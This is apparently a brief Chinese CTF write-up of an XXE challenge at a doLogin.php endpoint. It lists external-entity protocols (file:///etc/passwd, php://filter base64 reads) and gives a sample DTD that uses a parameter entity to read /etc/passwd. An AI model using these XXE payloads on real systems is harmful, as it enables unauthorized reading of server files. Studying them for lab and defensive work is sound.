打开题目
查看源代码
发现我们post传入的数据都被放到了doLogin.php下面
访问一下看看
提示加载外部xml实体
bp抓包一下看看
得到flag
或者这样
但是很明显这样是不行的,因为资源是在admin上,也就是用户名那里
PHP引用外部实体,常见的利用协议:
file://文件绝对路径
如:
file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php
参数实体+外部实体
<!ENTITY % 实体名称 SYSTEM "URI/URL">
参数实体+外部实体
示例代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///etc/passwd">
%file;
]>
%file
(参数实体)是在DTD中被引用的,而&file;
是在xml文档中被引用的。
知识点源于:
从XML相关一步一步到XXE漏洞 - 先知社区